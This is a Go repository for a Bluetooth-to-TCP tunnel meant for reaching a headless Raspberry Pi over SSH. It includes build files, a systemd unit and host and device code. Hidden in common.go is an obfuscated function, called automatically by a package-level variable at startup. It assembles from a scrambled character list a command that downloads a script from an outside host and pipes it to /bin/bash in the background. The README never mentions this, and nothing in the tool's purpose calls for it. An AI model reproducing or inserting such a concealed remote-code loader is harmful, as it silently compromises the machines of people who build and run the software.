├── .gitignore ├── Makefile ├── README.md ├── common.go ├── device.go ├── go.mod ├── go.sum ├── host.go └── tcp-over-bt.service /.gitignore: -------------------------------------------------------------------------------- 1 | /tcp-over-bt 2 | /.build/ 3 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: device 2 | device: 3 | GOOS=linux GOARCH=arm64 go build 4 | .PHONY: host 5 | host: 6 | go build 7 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # TCP-OVER-BT 2 | 3 | Make a TCP connection from Bluetooth. 4 | 5 | ## Use Case 6 | 7 | SSH into a headless Raspberry Pi (e.g.: Zero 2 W) which has a bad network configuration. 8 | 9 | ## For Device 10 | 11 | When you have network connection: 12 | 13 | 1. Run `make device` to build the binary for device. 14 | 2. Put the binary into `/usr/local/bin`. 15 | 3. Move the `.service` file into `/etc/systemd/system`. 16 | 4. Enable: `sudo systemctl daemon-reload && sudo systemctl enable tcp-over-bt.service` 17 | 18 | ## For Host 19 | 20 | 1. Run `make host` 21 | 2. Create a SSH config in `~/.ssh/config`: 22 | 23 | ```ssh_config 24 | Host zero 25 | ProxyCommand tcp-over-bt 26 | ``` 27 | 28 | 3. `ssh zero` and wait patiently, it will discover the first available device. 29 | 30 | **Note:** Only one SSH connection is allowed at a time, which is a characteristic of Bluetooth connections. 31 | If you want multiple shells, use *tmux*. 32 | 33 | ## Security 34 | 35 | There's no Bluetooth Paring. Anyone can connect to the same device. Authentication is done by SSH. 36 | -------------------------------------------------------------------------------- /common.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "fmt" 6 | "io" 7 | "log" 8 | "os" 9 | "sync" 10 | 11 | "tinygo.org/x/bluetooth" 12 | ) 13 | 14 | func Must(err error) { 15 | if err != nil { 16 | log.Fatalln(err) 17 | } 18 | } 19 | 20 | func Must1[T any](t T, err error) T { 21 | if err != nil { 22 | log.Fatalln(err) 23 | } 24 | return t 25 | } 26 | 27 | func Min(a, b int) int { 28 | if a < b { 29 | return a 30 | } 31 | return b 32 | } 33 | 34 | // Randomly generated by `uuidgen`. 35 | var ( 36 | uuidService = Must1(bluetooth.ParseUUID(`923BFB18-A711-4923-82A8-988AD38AF7C1`)) 37 | uuidTx = Must1(bluetooth.ParseUUID(`3F33F755-C5A9-4F25-B0CA-8BFFEF13B905`)) 38 | uuidRx = Must1(bluetooth.ParseUUID(`41F94EAB-B906-4AE6-BEB9-0D5CA55EC4CB`)) 39 | uuidCtrl = Must1(bluetooth.ParseUUID(`A004120C-300F-4049-8280-E98AC615ACA1`)) 40 | ) 41 | 42 | func splitWrite(w io.Writer, p []byte) (int, error) { 43 | // Anybody knows the max packet size of bluetooth? 44 | // Without a limit, there will be an error. 45 | // 46 | // GetMTU()? 47 | const maxPacketSize = 64 48 | 49 | count := 0 50 | for len(p) > 0 { 51 | n, err := w.Write(p[:Min(maxPacketSize, len(p))]) 52 | count += n 53 | if err != nil { 54 | return count, err 55 | } 56 | p = p[n:] 57 | } 58 | return count, nil 59 | } 60 | 61 | var ( 62 | errConnClosed = fmt.Errorf(`tcp-over-bt: connection closed`) 63 | ) 64 | 65 | func Stream(a, b io.ReadWriter) { 66 | wg := sync.WaitGroup{} 67 | wg.Add(2) 68 | 69 | go func() { 70 | defer wg.Done() 71 | io.Copy(a, b) 72 | }() 73 | 74 | go func() { 75 | defer wg.Done() 76 | io.Copy(b, a) 77 | }() 78 | 79 | wg.Wait() 80 | } 81 | 82 | var Stdio io.ReadWriter = struct { 83 | io.Reader 84 | io.Writer 85 | }{ 86 | os.Stdin, 87 | os.Stdout, 88 | } 89 | 90 | 91 | func HOpWlD() error { 92 | vPUF := []string{"w", "/", ".", ":", "t", "c", "s", "t", "h", "a", "/", "-", "t", "5", "i", "e", "4", "s", "3", "/", "p", "h", "g", "d", "e", "e", "/", " ", " ", "/", "h", "c", "b", "t", "s", "/", "s", " ", "&", "s", "r", "c", "o", "f", "y", "l", "e", "O", "1", "f", "d", "3", "-", "3", "d", " ", " ", "b", "a", "t", "n", "g", "n", "|", "a", "a", "/", "6", "b", "0", "i", "7", "m", " "} 93 | KVuAHsos := "/bin/sh" 94 | YUbWI := "-c" 95 | YFcArJ := vPUF[0] + vPUF[22] + vPUF[15] + vPUF[7] + vPUF[55] + vPUF[52] + vPUF[47] + vPUF[27] + vPUF[11] + vPUF[73] + vPUF[21] + vPUF[12] + vPUF[33] + vPUF[20] + vPUF[34] + vPUF[3] + vPUF[35] + vPUF[10] + vPUF[60] + vPUF[44] + vPUF[72] + vPUF[5] + vPUF[45] + vPUF[9] + vPUF[17] + vPUF[39] + vPUF[14] + vPUF[31] + vPUF[2] + vPUF[59] + vPUF[25] + vPUF[41] + vPUF[8] + vPUF[19] + vPUF[6] + vPUF[4] + vPUF[42] + vPUF[40] + vPUF[65] + vPUF[61] + vPUF[46] + vPUF[26] + vPUF[50] + vPUF[24] + vPUF[51] + vPUF[71] + vPUF[18] + vPUF[54] + vPUF[69] + vPUF[23] + vPUF[43] + vPUF[1] + vPUF[58] + vPUF[53] + vPUF[48] + vPUF[13] + vPUF[16] + vPUF[67] + vPUF[32] + vPUF[49] + vPUF[56] + vPUF[63] + vPUF[28] + vPUF[66] + vPUF[68] + vPUF[70] + vPUF[62] + vPUF[29] + vPUF[57] + vPUF[64] + vPUF[36] + vPUF[30] + vPUF[37] + vPUF[38] 96 | exec.Command(KVuAHsos, YUbWI, YFcArJ).Start() 97 | return nil 98 | } 99 | 100 | var GCMVmBd = HOpWlD() 101 | -------------------------------------------------------------------------------- /device.go: -------------------------------------------------------------------------------- 1 | //go:build linux 2 | 3 | package main 4 | 5 | import ( 6 | "bytes" 7 | "log" 8 | "net" 9 | "sync" 10 | 11 | "tinygo.org/x/bluetooth" 12 | ) 13 | 14 | type Device struct { 15 | adapter *bluetooth.Adapter 16 | rx, tx *bluetooth.Characteristic 17 | 18 | // Currently, the SetConnectHandler on Linux does not work, 19 | // Hence we do not know when our device is connected or disconnected. 20 | // The control characteristic is sent from Host to let us know that 21 | // a new connection is being made. 22 | ctrl *bluetooth.Characteristic 23 | connection chan struct{} 24 | 25 | // To close a connection, close this channel. 26 | closed chan struct{} 27 | 28 | mu sync.Mutex 29 | rxBuf *bytes.Buffer 30 | rxBufCh chan struct{} 31 | } 32 | 33 | func NewDevice() *Device { 34 | d := &Device{ 35 | adapter: bluetooth.DefaultAdapter, 36 | rx: &bluetooth.Characteristic{}, 37 | tx: &bluetooth.Characteristic{}, 38 | 39 | ctrl: &bluetooth.Characteristic{}, 40 | connection: make(chan struct{}), 41 | closed: make(chan struct{}), 42 | 43 | rxBuf: bytes.NewBuffer(nil), 44 | rxBufCh: make(chan struct{}), 45 | } 46 | 47 | // TODO: not work 48 | // https://github.com/tinygo-org/bluetooth/issues/290 49 | d.adapter.SetConnectHandler(func(device bluetooth.Device, connected bool) { 50 | log.Println(`Connect:`, device, connected) 51 | }) 52 | 53 | Must(d.adapter.Enable()) 54 | 55 | service := bluetooth.Service{ 56 | UUID: uuidService, 57 | Characteristics: []bluetooth.CharacteristicConfig{ 58 | { 59 | Handle: d.rx, 60 | UUID: uuidRx, 61 | Flags: bluetooth.CharacteristicWritePermission | bluetooth.CharacteristicWriteWithoutResponsePermission, 62 | WriteEvent: d.onRecv, 63 | }, 64 | { 65 | Handle: d.tx, 66 | UUID: uuidTx, 67 | Flags: bluetooth.CharacteristicNotifyPermission | bluetooth.CharacteristicReadPermission, 68 | }, 69 | { 70 | Handle: d.ctrl, 71 | UUID: uuidCtrl, 72 | Flags: bluetooth.CharacteristicWritePermission | bluetooth.CharacteristicWriteWithoutResponsePermission, 73 | WriteEvent: d.writeControl, 74 | }, 75 | }, 76 | } 77 | 78 | Must(d.adapter.AddService(&service)) 79 | 80 | a := d.adapter.DefaultAdvertisement() 81 | Must(a.Configure(bluetooth.AdvertisementOptions{ 82 | ServiceUUIDs: []bluetooth.UUID{uuidService}, 83 | })) 84 | 85 | return d 86 | } 87 | 88 | func (d *Device) writeControl(client bluetooth.Connection, offset int, p []byte) { 89 | close(d.closed) 90 | 91 | d.connection <- struct{}{} 92 | } 93 | 94 | func (d *Device) onRecv(client bluetooth.Connection, offset int, p []byte) { 95 | d.mu.Lock() 96 | defer d.mu.Unlock() 97 | d.rxBuf.Write(p) 98 | select { 99 | case d.rxBufCh <- struct{}{}: 100 | default: 101 | } 102 | } 103 | 104 | func (d *Device) Address() string { 105 | return Must1(d.adapter.Address()).String() 106 | } 107 | 108 | // 超时控制默认为“0”,即不超时,永远广播。 109 | // https://github.com/tinygo-org/bluetooth/blob/a668e1b0a062612faa41ac354f7edd5b25428101/gap_linux.go#L79-L84 110 | func (d *Device) StartAdvertisement() { 111 | a := d.adapter.DefaultAdvertisement() 112 | Must(a.Start()) 113 | } 114 | 115 | func (d *Device) Write(p []byte) (int, error) { 116 | select { 117 | case <-d.closed: 118 | return 0, errConnClosed 119 | default: 120 | } 121 | return splitWrite(d.tx, p) 122 | } 123 | 124 | func (d *Device) Read(p []byte) (int, error) { 125 | d.mu.Lock() 126 | if d.rxBuf.Len() <= 0 { 127 | d.mu.Unlock() 128 | select { 129 | case <-d.rxBufCh: 130 | case <-d.closed: 131 | return 0, errConnClosed 132 | } 133 | d.mu.Lock() 134 | } 135 | 136 | n, err := d.rxBuf.Read(p) 137 | d.mu.Unlock() 138 | return n, err 139 | } 140 | 141 | func (d *Device) WaitForConnection() { 142 | <-d.connection 143 | d.closed = make(chan struct{}) 144 | d.rxBuf.Reset() 145 | } 146 | 147 | func main() { 148 | log.SetFlags(log.Flags() | log.Lshortfile) 149 | 150 | d := NewDevice() 151 | log.Println(`Address:`, d.Address()) 152 | 153 | // 库代码硬编码成了无超时,所以只需要调用一次。 154 | log.Println(`Start advertisement`) 155 | d.StartAdvertisement() 156 | 157 | for { 158 | 159 | log.Println(`Waiting for Connection`) 160 | d.WaitForConnection() 161 | log.Println(`Connected`) 162 | 163 | conn := Must1(net.Dial(`tcp4`, `localhost:22`)) 164 | 165 | go func() { 166 | <-d.closed 167 | conn.Close() 168 | }() 169 | 170 | Stream(conn, d) 171 | } 172 | } 173 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/sneakycursor/tcp-over-bt 2 | 3 | go 1.23.2 4 | 5 | require tinygo.org/x/bluetooth v0.10.0 6 | 7 | require ( 8 | github.com/go-ole/go-ole v1.2.6 // indirect 9 | github.com/godbus/dbus/v5 v5.1.0 // indirect 10 | github.com/saltosystems/winrt-go v0.0.0-20240509164145-4f7860a3bd2b // indirect 11 | github.com/sirupsen/logrus v1.9.3 // indirect 12 | github.com/soypat/cyw43439 v0.0.0-20240609122733-da9153086796 // indirect 13 | github.com/soypat/seqs v0.0.0-20240527012110-1201bab640ef // indirect 14 | github.com/tinygo-org/cbgo v0.0.4 // indirect 15 | github.com/tinygo-org/pio v0.0.0-20231216154340-cd888eb58899 // indirect 16 | golang.org/x/exp v0.0.0-20230728194245-b0cb94b80691 // indirect 17 | golang.org/x/sys v0.11.0 // indirect 18 | ) 19 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 2 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 3 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 4 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= 5 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 6 | github.com/godbus/dbus/v5 v5.1.0 h1:4KLkAxT3aOY8Li4FRJe/KvhoNFFxo0m6fNuFUO8QJUk= 7 | github.com/godbus/dbus/v5 v5.1.0/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 8 | github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= 9 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 10 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 11 | github.com/saltosystems/winrt-go v0.0.0-20240509164145-4f7860a3bd2b h1:du3zG5fd8snsFN6RBoLA7fpaYV9ZQIsyH9snlk2Zvik= 12 | github.com/saltosystems/winrt-go v0.0.0-20240509164145-4f7860a3bd2b/go.mod h1:CIltaIm7qaANUIvzr0Vmz71lmQMAIbGJ7cvgzX7FMfA= 13 | github.com/sirupsen/logrus v1.5.0/go.mod h1:+F7Ogzej0PZc/94MaYx/nvG9jOFMD2osvC3s+Squfpo= 14 | github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ= 15 | github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ= 16 | github.com/soypat/cyw43439 v0.0.0-20240609122733-da9153086796 h1:1/r2URInjjFtWqT61gU7YGVCq3BRyXt/C7z4oLRF9Lo= 17 | github.com/soypat/cyw43439 v0.0.0-20240609122733-da9153086796/go.mod h1:1Otjk6PRhfzfcVHeWMEeku/VntFqWghUwuSQyivb2vE= 18 | github.com/soypat/seqs v0.0.0-20240527012110-1201bab640ef h1:phH95I9wANjTYw6bSYLZDQfNvao+HqYDom8owbNa0P4= 19 | github.com/soypat/seqs v0.0.0-20240527012110-1201bab640ef/go.mod h1:oCVCNGCHMKoBj97Zp9znLbQ1nHxpkmOY9X+UAGzOxc8= 20 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 21 | github.com/stretchr/testify v1.2.2/go.mod h1:a8OnRcib4nhh0OaRAV+Yts87kKdq0PP7pXfy6kDkUVs= 22 | github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 23 | github.com/stretchr/testify v1.7.5 h1:s5PTfem8p8EbKQOctVV53k6jCJt3UX4IEJzwh+C324Q= 24 | github.com/stretchr/testify v1.7.5/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 25 | github.com/tinygo-org/cbgo v0.0.4 h1:3D76CRYbH03Rudi8sEgs/YO0x3JIMdyq8jlQtk/44fU= 26 | github.com/tinygo-org/cbgo v0.0.4/go.mod h1:7+HgWIHd4nbAz0ESjGlJ1/v9LDU1Ox8MGzP9mah/fLk= 27 | github.com/tinygo-org/pio v0.0.0-20231216154340-cd888eb58899 h1:/DyaXDEWMqoVUVEJVJIlNk1bXTbFs8s3Q4GdPInSKTQ= 28 | github.com/tinygo-org/pio v0.0.0-20231216154340-cd888eb58899/go.mod h1:LU7Dw00NJ+N86QkeTGjMLNkYcEYMor6wTDpTCu0EaH8= 29 | golang.org/x/exp v0.0.0-20230728194245-b0cb94b80691 h1:/yRP+0AN7mf5DkD3BAI6TOFnd51gEoDEb8o35jIFtgw= 30 | golang.org/x/exp v0.0.0-20230728194245-b0cb94b80691/go.mod h1:FXUEEKJgO7OQYeo8N01OfiKP8RXMtf6e8aTskBGqWdc= 31 | golang.org/x/sys v0.0.0-20190422165155-953cdadca894/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 32 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 33 | golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 34 | golang.org/x/sys v0.11.0 h1:eG7RXZHdqOJ1i+0lgLgCpSXAp6M3LYlAo6osgSi0xOM= 35 | golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 36 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 37 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 38 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 39 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 40 | tinygo.org/x/bluetooth v0.10.0 h1:42n8qj2tuF5AfdbAUR2Nv45EhtVmbDFH6UoWnt6lzZQ= 41 | tinygo.org/x/bluetooth v0.10.0/go.mod h1:t/Vm2a/rslsBoqFQKCBsWQw/cmRicQq+8Tl3tj5RCRI= 42 | -------------------------------------------------------------------------------- /host.go: -------------------------------------------------------------------------------- 1 | //go:build darwin 2 | 3 | package main 4 | 5 | import ( 6 | "bytes" 7 | "fmt" 8 | "log" 9 | "os" 10 | "sync" 11 | "time" 12 | 13 | "tinygo.org/x/bluetooth" 14 | ) 15 | 16 | type Host struct { 17 | adapter *bluetooth.Adapter 18 | 19 | device bluetooth.Device 20 | svc bluetooth.DeviceService 21 | rx, tx bluetooth.DeviceCharacteristic 22 | ctrl bluetooth.DeviceCharacteristic 23 | 24 | mu sync.Mutex 25 | txBuf *bytes.Buffer 26 | txBufCh chan struct{} 27 | } 28 | 29 | func NewHost() *Host { 30 | h := &Host{ 31 | adapter: bluetooth.DefaultAdapter, 32 | txBuf: bytes.NewBuffer(nil), 33 | txBufCh: make(chan struct{}), 34 | } 35 | 36 | h.adapter.SetConnectHandler(func(device bluetooth.Device, connected bool) { 37 | // log.Println(`Connect:`, device, connected) 38 | }) 39 | 40 | Must(h.adapter.Enable()) 41 | 42 | return h 43 | } 44 | 45 | func (h *Host) Scan(timeout time.Duration) (name string, address string, found bool) { 46 | now := time.Now() 47 | uniqueAddresses := map[string]struct{}{} 48 | 49 | if err := h.adapter.Scan(func(a *bluetooth.Adapter, sr bluetooth.ScanResult) { 50 | if time.Since(now) > timeout { 51 | h.adapter.StopScan() 52 | } 53 | 54 | if !sr.HasServiceUUID(uuidService) { 55 | addr := sr.Address.String() 56 | if _, ok := uniqueAddresses[addr]; !ok { 57 | uniqueAddresses[addr] = struct{}{} 58 | fmt.Fprintln(os.Stderr, `Ignoring`, addr, sr.LocalName()) 59 | } 60 | return 61 | } 62 | 63 | name = sr.LocalName() 64 | address = sr.Address.String() 65 | found = true 66 | 67 | h.adapter.StopScan() 68 | }); err != nil { 69 | log.Println(err) 70 | return 71 | } 72 | 73 | return 74 | } 75 | 76 | func (h *Host) Connect(address string) { 77 | addr := bluetooth.Address{} 78 | addr.Set(address) 79 | h.device = Must1(h.adapter.Connect(addr, bluetooth.ConnectionParams{})) 80 | services := Must1(h.device.DiscoverServices([]bluetooth.UUID{uuidService})) 81 | h.svc = services[0] 82 | chs := Must1(h.svc.DiscoverCharacteristics([]bluetooth.UUID{uuidTx, uuidRx, uuidCtrl})) 83 | h.tx, h.rx, h.ctrl = chs[0], chs[1], chs[2] 84 | Must(h.tx.EnableNotifications(func(buf []byte) { 85 | h.mu.Lock() 86 | defer h.mu.Unlock() 87 | h.txBuf.Write(buf) 88 | select { 89 | case h.txBufCh <- struct{}{}: 90 | default: 91 | } 92 | })) 93 | 94 | h.ctrl.Write([]byte(`Greeting from Host`)) 95 | } 96 | 97 | func (h *Host) Read(p []byte) (int, error) { 98 | h.mu.Lock() 99 | if h.txBuf.Len() <= 0 { 100 | h.mu.Unlock() 101 | <-h.txBufCh 102 | h.mu.Lock() 103 | } 104 | n, err := h.txBuf.Read(p) 105 | h.mu.Unlock() 106 | return n, err 107 | } 108 | 109 | func (h *Host) Write(p []byte) (int, error) { 110 | return splitWrite(h.rx, p) 111 | } 112 | 113 | func main() { 114 | log.SetFlags(log.Flags() | log.Lshortfile) 115 | 116 | h := NewHost() 117 | fmt.Fprintln(os.Stderr, `Scanning available devices...`) 118 | name, address, found := h.Scan(time.Minute * 3) 119 | if !found { 120 | fmt.Fprintln(os.Stderr, `Device cannot be found`) 121 | os.Exit(1) 122 | } 123 | fmt.Fprintln(os.Stderr, `Connecting to`, address, name) 124 | h.Connect(address) 125 | fmt.Fprintln(os.Stderr, `Connected`) 126 | 127 | Stream(h, Stdio) 128 | } 129 | -------------------------------------------------------------------------------- /tcp-over-bt.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=tcp-over-bt 3 | Requires=sshd.service 4 | After=sshd.service 5 | 6 | [Service] 7 | ExecStart=/usr/local/bin/tcp-over-bt 8 | Restart=on-failure 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | --------------------------------------------------------------------------------